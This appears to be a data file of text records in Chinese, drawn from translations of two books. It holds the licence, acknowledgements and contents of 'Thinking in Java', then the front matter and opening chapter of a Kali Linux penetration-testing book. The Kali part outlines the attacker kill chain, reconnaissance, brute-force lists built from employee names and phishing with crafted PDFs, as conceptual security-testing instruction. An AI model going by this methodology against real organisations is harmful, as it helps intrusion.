Ｂｒｕｃｅ Ｅｃｋｅｌ ｏｒ ｔｈｅ ｐｕｂｌｉｓｈｅｒ ｂｅ ｌｉａｂｌｅ ｆｏｒ ａｎｙ ／／ ｌｏｓｔ ｒｅｖｅｎｕｅ， ｐｒｏｆｉｔ， ｏｒ ｄａｔａ， ｏｒ ｆｏｒ ｄｉｒｅｃｔ， ／／ ｉｎｄｉｒｅｃｔ， ｓｐｅｃｉａｌ， ｃｏｎｓｅｑｕｅｎｔｉａｌ， ｉｎｃｉｄｅｎｔａｌ， ｏｒ ／／ ｐｕｎｉｔｉｖｅ ｄａｍａｇｅｓ， ｈｏｗｅｖｅｒ ｃａｕｓｅｄ ａｎｄ ｒｅｇａｒｄｌｅｓｓ ｏｆ ／／ ｔｈｅ ｔｈｅｏｒｙ ｏｆ ｌｉａｂｉｌｉｔｙ， ａｒｉｓｉｎｇ ｏｕｔ ｏｆ ｔｈｅ ｕｓｅ ｏｆ ／／ ｏｒ ｉｎａｂｉｌｉｔｙ ｔｏ ｕｓｅ ｓｏｆｔｗａｒｅ， ｅｖｅｎ ｉｆ Ｂｒｕｃｅ Ｅｃｋｅｌ ／／ ａｎｄ ｔｈｅ ｐｕｂｌｉｓｈｅｒ ｈａｖｅ ｂｅｅｎ ａｄｖｉｓｅｄ ｏｆ ｔｈｅ ／／ ｐｏｓｓｉｂｉｌｉｔｙ ｏｆ ｓｕｃｈ ｄａｍａｇｅｓ． Ｓｈｏｕｌｄ ｔｈｅ ｓｏｆｔｗａｒｅ ／／ ｐｒｏｖｅ ｄｅｆｅｃｔｉｖｅ， ｙｏｕ ａｓｓｕｍｅ ｔｈｅ ｃｏｓｔ ｏｆ ａｌｌ ／／ ｎｅｃｅｓｓａｒｙ ｓｅｒｖｉｃｉｎｇ， ｒｅｐａｉｒ， ｏｒ ｃｏｒｒｅｃｔｉｏｎ． Ｉｆ ｙｏｕ ／／ ｔｈｉｎｋ ｙｏｕ＇ｖｅ ｆｏｕｎｄ ａｎ ｅｒｒｏｒ， ｐｌｅａｓｅ ｅｍａｉｌ ａｌｌ ／／ ｍｏｄｉｆｉｅｄ ｆｉｌｅｓ ｗｉｔｈ ｃｌｅａｒｌｙ ｃｏｍｍｅｎｔｅｄ ｃｈａｎｇｅｓ ｔｏ： ／／ Ｂｒｕｃｅ＠ＥｃｋｅｌＯｂｊｅｃｔｓ．ｃｏｍ． （Ｐｌｅａｓｅ ｕｓｅ ｔｈｅ ｓａｍｅ ／／ ａｄｄｒｅｓｓ ｆｏｒ ｎｏｎ－ｃｏｄｅ ｅｒｒｏｒｓ ｆｏｕｎｄ ｉｎ ｔｈｅ ｂｏｏｋ．） ／／／／／／／／／／／／／／／／／／／／／／／／／／／／／／／／／／／／／／／／／／／／／／／／／ 可在自己的开发项目中使用代码，并可在课堂上引用（包括学习材料）。"},
    {"text": "该样式问世已 有几年的时间，最早起源于 Ｂｊａｒｎｅ Ｓｔｒｏｕｓｔｒｕｐ 先生在《Ｔｈｅ Ｃ＋＋ Ｐｒｏｇｒａｍｍｉｎｇ Ｌａｎｇｕａｇｅ》里采用的样式 （Ａｄｄｉｓｏｎ－Ｗｅｓｌｅｙ １９９１ 年出版，第 ２ 版）。"},
    {"text": "读者发现并向作者报告的错误首先会在发行的源码中改正，然后在本书的更新版中校订 （所有更新都会在 Ｗｅｂ 站点 ｈｔｔｐ：／／ｗｗｗ．ＢｒｕｃｅＥｃｋｅｌ．ｃｏｍ 处出现）。"},
    {"text": "１ ０ ． Ｊ ａ ｖ ａ 版本 尽管我用几家厂商的 Ｊａｖａ 开发平台对本书的代码进行了测试，但在判断代码行为是否正确时，却通常以 Ｓｕｎ 公司的 Ｊａｖａ 开发平台为准。"},
    {"text": "就我看，１．１ 版对 Ｊａｖａ 语言进行了显著改进，完全应标记成 ２．０ 版（由于 １．１ 已作出了如 此大的修改，真不敢想象 ２．０ 版会出现什么变化）。"},
    {"text": "欲了解更多的情况，请访问： ｈｔｔｐ：／／ｗｗｗ．ＢｒｕｃｅＥｃｋｅｌ．ｃｏｍ 或发函至： Ｂｒｕｃｅ＠ＥｃｋｅｌＯｂｊｅｃｔｓ．ｃｏｍ 我的公司也提供了咨询服务，指导客户完成整个开发过程——特别是您的单位首次接触 Ｊａｖａ 开发的时候。"},
    {"text": "如果您认为自己发现了一个错误，请在源 文件（可在 ｈｔｔｐ：／／ｗｗｗ．ＢｒｕｃｅＥｃｋｅｌ．ｃｏｍ 处找到）里指出有可能是错误的地方，填好我们提供的表单。"},
    {"text": "具体格式如下： （１） 在主题行（Ｓｕｂｊｅｃｔ）写上“ＴＩＪ Ｃｏｒｒｅｃｔｉｏｎ”（去掉引号），以便您的函件进入对应的目录。 （２） 在函件正文，采用下述形式： ｆｉｎｄ： 在这里写一个单行字串，以便我们搜索错误所在的地方 Ｃｏｍｍｅｎｔ： 在这里可写多行批注正文，最好以“ｈｅｒｅ＇ｓ ｈｏｗ Ｉ ｔｈｉｎｋ ｉｔ ｓｈｏｕｄ ｒｅａｄ”开头 ＃＃＃ 其中，“＃＃＃”指出批注正文的结束。"},
    {"text": "１ ３ ． 封面设计 《Ｔｈｉｎｋｉｎｇ ｉｎ Ｊａｖａ》一书封面的创作灵感来源于 Ａｍｅｒｉｃａｎ Ａｒｔｓ ＆ ＣｒａｆｔｓＭｏｖｅｍｅｎｔ（美洲艺术＆手工艺品 运动）。"},
    {"text": "这里的“虫”已被抓获，在一只广口瓶中杀死，最后禁闭于一个小的展览 盒里——暗示 Ｊａｖａ 有能力寻找、显示和消除程序里的“虫”（这是 Ｊａｖａ 最具特色的特性之一）。"},
    {"text": "１ ４ ． 致谢 首先，感谢 Ｄｏｙｌｅ Ｓｔｒｅｅｔ Ｃｏｈｏｕｓｉｎｇ Ｃｏｍｍｕｎｉｔｙ（道尔街住房社区）容忍我花两年的时间来写这本书（其实 他们一直都在容忍我的“胡做非为”）。"},
    {"text": "非常感谢 Ｋｅｖｉｎ 和 Ｓｏｎｄａ Ｄｏｎｏｖａｎ，是他们把科罗拉多 Ｃｒｅｓｔｅｄ Ｂｕｔｔｅ 市这个风景优美的地方租给我，使我整个夏天都能安心写作。"},
    {"text": "Ｊｅｆｆ 又在正确的地方和正 确的时间出现在了 Ｐｒｅｎｔｉｃｅ －Ｈａｌｌ 出版社，是他为了清除了所有可能遇到的障碍，也使我感受了一次愉快的 出书经历。"},
    {"text": "要特别感谢 Ｇｅｎ Ｋｉｙｏｏｋａ 和他的 Ｄｉｇｉｇａｍｉ 公司，我用的 Ｗｅｂ 服务器就是他们提供的； 也要感谢 Ｓｃｏｔｔ Ｃａｌｌａｗａｙ，服务器是由他负责维护的。 在我学习 Ｗｅｂ 的过程中，一个服务器无疑是相当有价值的帮助。"},
    {"text": "谢谢 Ｃａｙ Ｈｏｒｓｔｍａｎｎ（《Ｃｏｒｅ Ｊａｖａ》一书的副编辑，Ｐｒｅｎｔｉｃｅ Ｈａｌｌ 于 １９９７ 年出版）、Ｄ＇Ａｒｃｙ Ｓｍｉｔｈ （Ｓｙｍａｎｔｅｃ 公司）和 Ｐａｕｌ Ｔｙｍａ（《Ｊａｖａ Ｐｒｉｍｅｒ Ｐｌｕｓ》一书的副编辑，Ｔｈｅ Ｗａｉｔｅ Ｇｒｏｕｐ 于 １９９６ 年出 版），感谢他们帮助我澄清语言方面的一些概念。"},
    {"text": "感谢那些在“Ｊａｖａ 软件开发会议”上我的 Ｊａｖａ 小组发言的同志们，以及我教授过的那些学生，他们提出的 问题使我的教案愈发成熟起来。"},
    {"text": "特别感谢 Ｌａｒｒｙ 和 Ｔｉｎａ Ｏ＇Ｂｒｉｅｎ，是他们将这本书和我的教学内容制成一张教学 ＣＤ－ＲＯＭ（关于这方面的问 题，ｈｔｔｐ：／／ｗｗｗ．ＢｒｕｃｅＥｃｋｅｌ．ｃｏｍ 有更多的答案）。"},
    {"text": "有许多人送来了纠错报告，我真的很感激所有这些朋友，但特别要对下面这些人说声谢谢：Ｋｅｖｉｎ Ｒａｕｌｅｒｓｏｎ （发现了多处重大错误），Ｂｏｂ Ｒｅｓｅｎｄｅｓ（发现的错误令人难以置信），Ｊｏｈｎ Ｐｉｎｔｏ，Ｊｏｅ Ｄａｎｔｅ，Ｊｏｅ Ｓｈａｒｐ，Ｄａｖｉｄ Ｃｏｍｂｓ（许多语法和表达不清的地方），Ｄｒ． Ｒｏｂｅｒｔ Ｓｔｅｐｈｅｎｓｏｎ，Ｆｒａｎｋｌｉｎ Ｃｈｅｎ，Ｚｅｖ Ｇｒｉｎｅｒ，Ｄａｖｉｄ Ｋａｒｒ，Ｌｅａｎｄｅｒ Ａ． Ｓｔｒｏｓｃｈｅｉｎ，Ｓｔｅｖｅ Ｃｌａｒｋ，Ｃｈａｒｌｅｓ Ａ． Ｌｅｅ，ＡｕｓｔｉｎＭａｈｅｒ，Ｄｅｎｎｉｓ Ｐ． Ｒｏｔｈ，Ｒｏｑｕｅ Ｏｌｉｖｅｉｒａ，Ｄｏｕｇｌａｓ Ｄｕｎｎ，Ｄｅｊａｎ Ｒｉｓｔｉｃ，ＮｅｉｌＧａｌａｒｎｅａｕ，Ｄａｖｉｄ Ｂ． Ｍａｌｋｏｖｓｋｙ，Ｓｔｅｖｅ Ｗｉｌｋｉｎｓｏｎ，以及其他许多热心读者。"},
    {"text": "他们是 Ｋｒａｉｇ Ｂｒｏｃｋｓｃｈｍｉｄｔ，ＧｅｎＫｉｙｏｏｋａ 和 Ａｎｄｒｅａ ｐｒｏｖａｇｌｉｏ，是这些朋友帮我了解了 Ｊａｖａ 和程序设计在意大利 １５ 的情况。"},
    {"text": "）、Ｎｅｉｌ Ｒｕｂｅｎｋｉｎｇ（他最喜欢瑜珈／素 食／禅道，但也非常喜欢计算机）以及 Ｚａｃｋ Ｕｒｌｏｃｋｅｒ（是我游历世界时碰面次数最多的一位同志）。"},
    {"text": "也要感谢 ＫｏＡｎｎ Ｖｉｋｏｒｅｎ， Ｅｒｉｃ Ｅａｕｒｏｔ，ＤｅｂｏｒａｈＳｏｍｍｅｒｓ，Ｊｕｌｉｅ Ｓｈａｗ，Ｎｉｃｏｌｅ Ｆｒｅｅｍａｎ，Ｃｉｎｄｙ Ｂｌａｉｒ，Ｂａｒｂａｒａ Ｈａｎｓｃｏｍｅ，Ｒｅｇｉｎａ Ｒｉｄｌｅｙ，Ａｌｅｘ Ｄｕｎｎｅ 以及 ＭＦＩ 其他可敬的成员。"},
    {"text": "正文字体 采用的是 Ｂｉｔｓｔｒｅａｍ Ｃａｒｍｉｎａ； 标题采用 Ｂｉｔｓｔｒｅａｍ Ｃａｌｌｉｇｒａｐｈ ４２１（ｗｗｗ．ｂｉｔｓｔｒｅａｍ．ｃｏｍ）； 每章开头的符 号采用的是来自 Ｐ２２ 的 Ｌｅｏｎａｒｄｏ Ｅｘｔｒａｓ（ｈｔｔｐ：／／ｗｗｗ．ｐ２２．ｃｏｍ）； 封面字体采用 ＩＴＣ Ｒｅｎｎｉｅ Ｍａｒｃｋｉｎｔｏｓｈ。"},
    {"text": "感谢为我提供编译器程序的一些著名公司：Ｂｏｒｌａｎｄ，Ｍｉｃｒｏｓｏｆｔ，Ｓｙｍａｎｔｅｃ，Ｓｙｂａｓｅ／Ｐｏｗｅｒｓｏｆｔ／Ｗａｔｃｏｍ 以 及 Ｓｕｎ。"},
    {"text": "特别感谢我的老师和我所有的学生（他们也是我的老师），其中最有趣的一位写作老师是 Ｇａｂｒｉｅｌｌｅ Ｒｉｃｏ （《Ｗｒｉｔｉｎｇ ｔｈｅ Ｎａｔｕｒａｌ Ｗａｙ》一书的作者，Ｐｕｔｎａｍ 于 １９８３ 年出版）。"},
    {"text": "曾向我提供过支持的朋友包括（当然还不止）：Ａｎｄｒｅｗ Ｂｉｎｓｔｏｃｋ，ＳｔｅｖｅＳｉｎｏｆｓｋｙ，ＪＤ Ｈｉｌｄｅｂｒａｎｄｔ，Ｔｏｍ Ｋｅｆｆｅｒ，Ｂｒｉａｎ ＭｃＥｌｈｉｎｎｅｙ，Ｂｒｉｎｋｌｅｙ Ｂａｒｒ，《Ｍｉｄｎｉｇｈｔ Ｅｎｇｉｎｅｅｒｉｎｇ》杂志社的 Ｂｉｌｌ Ｇａｔｅｓ，Ｌａｒｒｙ Ｃｏｎｓｔａｎｔｉｎｅ 和 ＬｕｃｙＬｏｃｋｗｏｏｄ，Ｇｒｅｇ Ｐｅｒｒｙ，Ｄａｎ Ｐｕｔｔｅｒｍａｎ，Ｃｈｒｉｓｔｉ Ｗｅｓｔｐｈａｌ，Ｇｅｎｅ Ｗａｎｇ，ＤａｖｅＭａｙｅｒ， Ｄａｖｉｄ Ｉｎｔｅｒｓｉｍｏｎｅ，Ａｎｄｒｅａ Ｒｏｓｅｎｆｉｅｌｄ，Ｃｌａｉｒｅ Ｓａｗｙｅｒｓ，另一些意大利朋友（Ｌａｕｒａ Ｆａｌｌａｉ，Ｃｏｒｒａｄｏ， Ｉｌｓａ 和 Ｃｒｉｓｔｉｎａ Ｇｉｕｓｔｏｚｚｉ），Ｃｈｒｉｓ 和 Ｌａｕｒａ Ｓｔｒａｎｄ，Ａｌｍｑｕｉｓｔｓ，Ｂｒａｄ Ｊｅｒｂｉｃ，Ｍａｒｉｌｙｎｇ Ｃｖｉｔａｎｉｃ， Ｍａｂｒｙｓ，Ｈａｆｌｉｎｇｅｒｓ，Ｐｏｌｌｏｃｋｓ ，Ｐｅｔｅｒ Ｖｉｎｃｉ，Ｒｏｂｂｉｎｓ Ｆａｍｉｌｉｅｓ，Ｍｏｅｌｔｅｒ Ｆａｍｉｌｉｅｓ（和ＭｃＭｉｌｌａｎｓ）， Ｍｉｃｈａｅｌ Ｗｉｌｋ，Ｄａｖｅ Ｓｔｏｎｅｒ，Ｌａｕｒｉｅ Ａｄａｍｓ，Ｃｒａｎｓｔｏｎｓ，Ｌａｒｒｙ Ｆｏｇｇ，Ｍｉｋｅ 和 Ｋａｒｅｎ Ｓｅｑｕｅｉｒａ，Ｇａｒｙ Ｅｎｔｓｍｉｎｇｅｒ 和 Ａｌｌｉｓｏｎ Ｂｒｏｄｙ，ＫｅｖｉｎＤｏｎｏｖａｎ 和 Ｓｏｎｄａ Ｅａｓｔｌａｃｋ，Ｃｈｅｓｔｅｒ 和 Ｓｈａｎｎｏｎ Ａｎｄｅｒｓｅｎ，Ｊｏｅ Ｌｏｒｄｉ，Ｄａｖｅ 和 Ｂｒｅｎｄａ Ｂａｒｔｌｅｔｔ，Ｄａｖｉｄ Ｌｅｅ，Ｒｅｎｔｓｃｈｌｅｒｓ，Ｓｕｄｅｋｓ，Ｄｉｃｋ，Ｐａｔｔｙ 和 Ｌｅｅ Ｅｃｋｅｌ，Ｌｙｎｎ 和 Ｔｏｄｄ 以及他们的家人。"},
    {"text": "...................................................................................................................... 35 1.8 违例控制：解决错误 ...................................................................................................................................................36 1.9 多线程 ..............................................................................................................................................................................37 1.10 永久性 ...........................................................................................................................................................................37 1.11 Java 和因特网..............................................................................................................................................................37 1.11.1 什么是 Web？ ...................................................................................................................................................... 37 1.11.2 客户端编程（注释⑧） ..................................................................................................................................... 38 1.11.3 服务器端编程 ....................................................................................................................................................... 41 1.11.4 一个独立的领域：应用程序............................................................................................................................. 41 1.12 分析和设计 ...................................................................................................................................................................42 1.12.1 不要迷失................................................................................................................................................................ 42 1.12.2 阶段 0：拟出一个计划....................................................................................................................................... 42 1.12.3 阶段 1：要制作什么？"},
    {"text": "....................................................................................................................................... 43 1.12.4 阶段 2：如何构建？ ........................................................................................................................................... 43 1.12.5 阶段 3：开始创建 ............................................................................................................................................... 44 1.12.6 阶段 4：校订 ........................................................................................................................................................ 44 1.12.7 计划的回报 ........................................................................................................................................................... 45 1.13 Java 还是 C++？"},
    {"text": "网络空间安全技术丛书 Kali Linux高级渗透测试（原书第2版） Mastering Kali Linux for Advanced Penetration Testing,Second Edition （印）维杰·库马尔·维卢（Vijay Kumar Velu） 著 蒋溢 等译 ISBN：978-7-111-59306-5 Vijay Kumar Velu: Mastering Kali Linux for Advanced Penetration Testing, Second Edition (ISBN: 978-1-78712-023-5). Copyright © 2017 Packt Publishing. First published in the English language under the title “Mastering Kali Linux for Advanced Penetration Testing, Second Edition”. All rights reserved. Chinese simplifi ed language edition published by China M achine Press. Copyright © 2018 by China Machine Press. 本书纸版由机械工业出版社于2018年出版，电子版由华章分社（北京华章图文信息有限公司，北京奥维博世图书发行有限公司）在中华人民共和国境内（不包括中国香港、澳门特别行政区及中国台湾地区）制作与发行。 版权所有，侵权必究 客服热线：+ 86-10-68995265 客服信箱：service@bbbvip.com 官方网址：www.hzmedia.com.cn 新浪微博 @华章数媒 微信公众号 华章电子书（微信号：hzebook）"},
    {"text": "推荐序 时隔一年，《Kali Linux高级渗透测试》（原书第2版）这么快就跟读者见面了，不得不感叹网络空间安全技术的发展日新月异。 刚刚过去的2017年，勒索病毒WannaCry肆虐全球，各种“邮件门”、个人隐私泄露事件层出不穷，网络安全问题更加突出。也正是在2017年6月1日，我国首部网络安全法——《中华人民共和国网络安全法》正式实施，成为我国第一部规范网络空间秩序的基础性法律，该部法典从法律层面明确了网络安全保护的基本原则和要求，对于技术人员则需要从技术层面去研究实践如何提高网络攻击防御技术，提升网络系统的安全保护能力。渗透测试作为主动防御的一种重要手段，其重要性不言而喻。本书在第1版的基础上，增加了部分章节，更加全面、系统地介绍了Kali Linux在渗透测试中的高级应用，相信能够为国内从事空间网络安全的相关人员提供最前沿的技术参考。 本书由网络空间安全方面的教授和行业专家合作翻译，译者不但理论水平高，而且还拥有丰富的业务实践经验，尤其在渗透测试方面更是实干的权威行家。本书译文忠实原著，是一部高质量的学术译著。本书既可作为网络空间安全专业领域的研究开发人员、工程技术人员及高级技术主管的工具书，也可作为高校研究生和高年级本科生学习网络安全相关课程的参考书。 网络空间安全学科建设任重道远，学科的统一基础理论有待创立；心理学、管理学、经济学、社会学、安全熵、赛博学等因素对网络空间安全的影响有待深入探讨；借助科普提升普通大众的网络空间安全意识才刚刚开始；网络空间安全的各种攻防新手段、新思路永无止境。但愿此书能为此添砖加瓦；但愿已经（或即将）出版的《安全通论》《安全简史》《安全心理学》和《安全管理学》等，能为网络空间安全学科建设尽一点绵薄之力。 杨义先 2018年1月 作者简介 Vijay Kumar Velu是一位充满激情的信息安全从业者、作者、演讲人和博主。他目前是马来西亚的Big4的副总监之一，拥有超过11年的IT行业经验，拥有渗透测试人员资格证书，专门为各种网络安全问题提供技术解决方案，包括简单的安全配置审查、网络威胁情报，以及事件响应等方面。Vijay有多个安全职业头衔，包括CEH（道德黑客）、EC委员会安全分析师和计算机取证调查员。 Vijay受邀在印度各种网络安全大会上发表过演讲，包括国家网络安全峰会（NCSS）、印度网络会议（InCyCon）、开放云会议（Open Cloud Conference）等；他还在印度各大商学院举办的重要信息安全培训会上做了多次客座讲座。 Vijay还撰写了《Mobile Application Penetration Testing》一书，并且审校了Packt出版的《Learning Android Forensics》一书。 在信息安全界，Vijay是吉隆坡云安全联盟（CSA）董事会成员，也是印度国家网络防御与研究中心（NCDRC）主席。工作之余，他喜欢演奏音乐和做慈善事业。 Vijay是新技术的采用者，喜欢听任何疯狂的想法——所以，如果你有一个创意、产品或服务，不要犹豫，与他联系。 特别感谢我的母亲、姐姐、兄弟和父亲对我的信任，他们总是鼓励我做我喜欢的事，甚至疯狂的事。不能忘记感谢我的黑客朋友（Mega、Madhan、Sathish、Kumaresh、Parthi、Vardha）和我的同事Rachel Martis及Reny Cheah的支持。 感谢Packt出版社在本书的整个出版过程中提供的所有支持，对Chandan和Deepti表示特别的感谢！感谢他们完美的协调工作！ 审校者简介 Amir Roknifard是一名自学成才的网络安全解决方案架构师，专注于Web应用、网络和移动安全。他领导马来西亚KPMG的研究、开发和创新，并且爱好编码与程序开发，他喜欢花时间教导人们理解隐私和安全，即使是普通人也可以用知识来保护他们自己。他喜欢自动化，并为网络防御团队开发了一个综合平台，以便他们能轻松地工作：从需求票据表到最终报告。 Amir已经完成了许多项目，包括政府、军队，以及无国界的公共部门，他为银行、金融机构、石油、天然气，以及电信公司工作。他也曾开展数小时的IT和信息安全专题讲座。 Amir还创办了《Academician Journal》，旨在缩小学术界与信息安全行业之间的差距，试图找出这个差距发生的原因，分析和解决它们。他提出了可能解决未来问题的新思路并研究如何发展它们。所以，有类似想法的人总是乐于通过@roknifard分享他们的想法或者共同发表研究成果。"},
    {"text": "译者简介 蒋溢 博士、正高级工程师、硕士生导师，重庆邮电大学计算机科学与技术学院副院长，重庆市移动互联网数据应用工程技术研究中心负责人，重庆高校“移动互联网大数据创新团队”带头人，重庆高校移动互联网大数据智能处理众创空间负责人。主要从事移动互联网网络安全、服务计算、海量数据处理与分析等领域研究。出版学术专著两部；获重庆市科技进步奖两项。 马祥均 从事网络安全十余年，精通计算机网络，擅长利用OSI七层模型审视和规划计算机与网络安全，对大数据和人工智能有一定研究。 陈京浩 副高级工程师，拥有9年网络安全领域从业经验，主要感兴趣的领域包括Web安全、网络设备安全及风险评估。 祝清意 博士，重庆邮电大学网络空间安全与信息法学院讲师，主要研究领域为网络安全动力学。 孙天勇 硕士，四川公众监理咨询有限公司高级工程师，从事通信及网络信息安全工作15年。 罗文俊 博士，重庆邮电大学网络空间安全与信息法学院教授，为研究生、本科生讲授信息安全课程。 前言 本书致力于介绍如何使用Kail Linux对网络、系统、应用执行渗透测试。渗透测试可以模拟内部或外部的恶意攻击者对网络或系统进行的攻击。不同于漏洞评估，渗透测试包括漏洞利用阶段。因此，漏洞是存在的，而且如果不采取相应的措施将会有很大风险。 在本书中，“渗透测试人员”“攻击者”和“黑客”使用完全相同的技术及工具评估网络和数据系统的安全性。他们之间唯一的区别是他们的目标——数据网络的安全或数据的外泄。 简而言之，本书将带你踏上渗透测试者之旅：使用一些成熟的工具，在使用Kali Linux的网络上打败最新的防御，从选择最有效的工具，到网络安全快速响应，再到最重要的避免检测技术。 本书涵盖的内容 第1章介绍了贯穿全书的渗透测试方法的功能概要，确保全书遵循一致和全面的渗透测试方法。 第2章提供了一个背景，说明如何利用公共可用的资源和工具收集有关目标的信息，从而简化侦察和信息管理。 第3章向读者介绍可用于获取有关目标信息的隐秘方法，特别是识别可利用的漏洞的信息。 第4章教你掌握扫描网络及其设备的半自动化过程，接受所有侦察和漏洞信息，评估并创建一个指导渗透测试过程的地图。 第5章说明了如何能够物理地访问一个系统，或与管理人员进行交互，从而提供最成功的利用方法。 第6章简要介绍了无线技术，重点介绍了绕过安全防范进而危害这些网络的常用技术。 第7章简要概述了一个最复杂的交付阶段，以确保基于Web的应用暴露在公共网络上。 第8章从安全的角度介绍了最常用的远程访问技术，说明了可利用的弱点在哪里，以及如何在渗透测试中验证系统的安全性。 第9章着重介绍对最终用户系统上的应用程序的攻击，这些终端系统常常没有得到与组织的主干网络相同级别的保护。 第10章演示最常见的安全控制，找出克服这些控制的系统过程，并演示如何使用Kali工具集的工具。 第11章演示了攻击者发现和利用系统漏洞的方法。 第12章重点讨论直接的后利用活动和横向扩展，即利用被控制系统作为起点，“跳”到网络上的其他系统。 第13章演示了渗透测试人员如何拥有系统各方面的操作权限；更重要的是，获得一些访问权限，将允许测试人员控制网络上的所有系统。 第14章重点讨论现代攻击者如何使数据转移到攻击者的本地位置，以及隐藏攻击的证据。 学习本书需要准备什么 为了练习本书中出现的示例，需要虚拟化工具，例如VMware或者VirtualBox。 需要下载和安装Kali Linux操作系统及工具套件。通过访问互联网来确保你的系统是最新的，并且安装了所有的工具。 不幸的是，不是Kali Linux系统上的所有工具都会呈现，因为工具太多了。本书的目标不是将所有的攻击和选项展现给读者，而是提供一个测试方法，这个方法可以为读者提供学习和掌握新工具的机会，经过一段时间后，将它们变为自己的经验和知识。 虽然本书中大多数示例是基于Microsoft Windows的，但是方法和大多数工具是可以转换到其他操作系统的，例如Linux和其他UNIX系统。 最后，本书应用Kali来完成攻击者的攻击流程，对目标系统进行攻击。你需要一个目标操作系统。本书的许多示例是基于Microsoft Windows 7和Windows 2008R2的。 读者对象 如果你是一个渗透测试者、IT专业人士，或安全顾问，想要通过使用Kali Linux的先进功能最大程度地完成网络测试任务，那么本书是为你准备的。之前有一些渗透测试/道德黑客的基础知识会帮助你充分利用本书。 第1章 基于目标的渗透测试 “这个世上只有两种人，黑客和被黑客攻击的人。” 所有事情都是围绕一个目标来实现的。因此，在本章中，我们将讨论基于目标的渗透测试的重要性；并且描述一些在没有目标的情况下，漏洞扫描、渗透测试和红队练习的经典失败案例。本章还对安全测试做了一个总结，介绍了如何搭建实验室环境，重点讨论了如何自定义Kali以支持渗透测试的一些高级内容。阅读完本章，你将了解到以下内容： ·安全测试的概述 ·漏洞扫描、渗透测试和红队练习的经典失败案例 ·更新和组织Kali ·使用BASH脚本自定义Kali ·设置定义的目标 ·构建运行环境"},
    {"text": "1.1 安全测试的概念 世界各地的每个家庭，每个个体、公共企业或私人企业在网络空间中都存在各种顾虑，例如数据丢失、恶意软件和网络恐怖主义等。这些都围绕一个概念——保护。如果你问100位不同的安全顾问：“什么是安全测试？”可能会听到不同的回答。其中最简单的解释为：安全测试是一个过程，用于验证信息资产或系统是否受到保护，并且验证保护功能是否按照预期效果执行。 1.2 经典漏洞扫描、渗透测试和红队练习的失败 在本节中，我们将重点介绍传统/经典的漏洞扫描、渗透测试和红队练习，并说明它们的局限性。现在让我们开始简单阐述这三种方法的实际意义，并讨论它们的局限性： ·漏洞扫描（Vulnerability scanning，Vscan）：这是一个识别系统或者网络的安全漏洞的过程。漏洞扫描的局限性是：只识别潜在的漏洞。其中可能包括大量的误报，对用户而言，这些漏洞的存在与风险评估并没有太大关系。 ·渗透测试（Penetration testing，Pentest）：这是一个安全地利用漏洞而不影响现有网络或业务的过程。测试人员尝试并模拟漏洞利用后，误报的次数就会减少。渗透测试的不足是只能利用目前已知的公开漏洞，并且大部分都是以项目为重点的测试。在渗透测试中，我们经常听到“耶！得到权限”，但我们从来不问“下一步是什么”。这可能有各种原因，如项目限制你立即向客户报告高风险问题，或者客户只关心网络的一部分，并希望你妥协。 ·红队训练（Red Team Exercises，RTE）：这是一种评价组织的有效防御网络威胁并且提高其安全性的过程。在RTE期间，我们注意到实现项目目标有多种方式，例如针对项目目标活动进行的完整覆盖，包括网络钓鱼、无线、丢弃盒和物理渗透测试等。使用RTE的不足是它们具有时间限制，具有预定义的方案，并且它们假设虚拟的真实环境。 通常，三种不同的测试方法都指向术语：黑客入侵或破解。我们将入侵你的网络，并暴露网络的弱点，但是，客户或企业主是否知晓这些网络被侵入或破解？我们如何衡量入侵或破解？有什么标准？我们什么时候才能知道网络被入侵或完全破解？所有这些问题都指向一件事——什么是主要目标？ 渗透测试/RTE的主要目标是确定风险，评估组织的每项资产、业务、品牌形象等的风险等级。这不是评估他们有多少，而是评估他们暴露多少。如果发现的威胁并不构成风险，则无须进行证明。例如，对宣传册网站进行跨站脚本（Cross-Site Scripting，XSS）攻击可能不会对业务产生重大影响；然而，客户端可能会接受使用Web应用程序防火墙（Web Application Firewall，WAF）防止XSS攻击。"},
    {"text": "1.3 测试方法 模型中很少考虑为什么要进行渗透测试，或哪些数据是需要保护的业务关键数据。缺少这至关重要的一步，渗透测试无法抓住重点。 很多渗透测试人员不愿遵循现成的模型方法，他们担心模型会阻碍他们进行网络渗透的创造力。渗透测试不能反映恶意攻击者的实际活动。通常，客户希望看到你能不能在一个特定的系统中获得管理上的访问权（“你可以打开这个盒子吗？”）。然而，攻击者可能会重点关注复制关键数据的方式——不需要底层接入，或引起拒绝服务。 为了解决测试方法中固有的局限性，必须从攻击者的角度集成一个框架——杀链（Rill chain）。 在2009年，Lockheed Martin CERT的Mike Cloppert介绍了这个概念，现在被称为“攻击者杀链（attacker kill chain）”。当攻击者访问攻击网络时，“杀链”包含攻击者采取的步骤。“杀链”不总是以一个线性流呈现，因为一些步骤可能会并行出现。多发攻击可以对同一个目标瞬时进行多种攻击，并且在同一时间攻击步骤可能发生重叠。 在本书中，我们已经修改了Cloppert的杀链，使之能更准确地反映攻击者如何在利用网络、应用和数据服务时应用这些步骤。 图1.1显示了一个攻击者的典型杀链。 图1.1 典型的杀链 一个攻击者的典型杀链可以描述为： ·侦察阶段。有一句格言：“侦察永远不浪费时间”。大多数军事组织承认，在进攻敌人之前，最好尽可能地去了解敌人的一切信息。同样，攻击者在攻击之前也会对目标展开广泛的侦察。事实上，据估计，针对渗透测试或攻击，至少有70%的“工作量”是进行侦察！一般来说，可采用两种类型的侦察： ·被动侦察。这种方式并不直接与目标以敌对方式进行交互。例如，攻击者将会审查公共的可用网站，评估在线媒体（尤其是社交媒体网站），并试图确定目标的“攻击表面”。 一个详细的任务将会产生一份过去和现在的雇员名称的列表。这些名称将成为尝试蛮力攻击或密码猜测的基础。同样它们也被用到社会工程的攻击中。 这种类型的侦察很难从普通用户的行为中区分出来。 ·主动侦察。这种方式可以被目标检测到，但是很难从常规的背景中区分出大多数在线组织的表现。 主动侦察期间的活动包括物理访问目标前端、端口扫描和远程漏洞扫描。 ·交付阶段。交付是选择和开发武器，武器用于完成攻击中的任务。精确的武器选择取决于攻击者的意图以及实施路线（例如，借助网络、通过无线，或通过基于Web的服务）。交付阶段的影响将在本书第二部分进行研究。 ·利用或攻击阶段。一个特定的漏洞被成功利用的时刻，此时攻击者实现他们的目标。攻击可能已经在一个特定的情景下发生（例如：通过缓冲区溢出利用一个已知操作系统的安全隐患），或者攻击可能在多个情景下发生（例如：一个攻击者物理访问公司住所，偷取他们的电话簿，用公司员工的名字来创建门户登录蛮力攻击列表。此外，电子邮件被发送到所有员工以引诱他们单击一个嵌入式链接，下载制作的PDF文件，这些文件会危及员工的计算机）。当恶意攻击者针对特定的企业时，多情景攻击是常态。 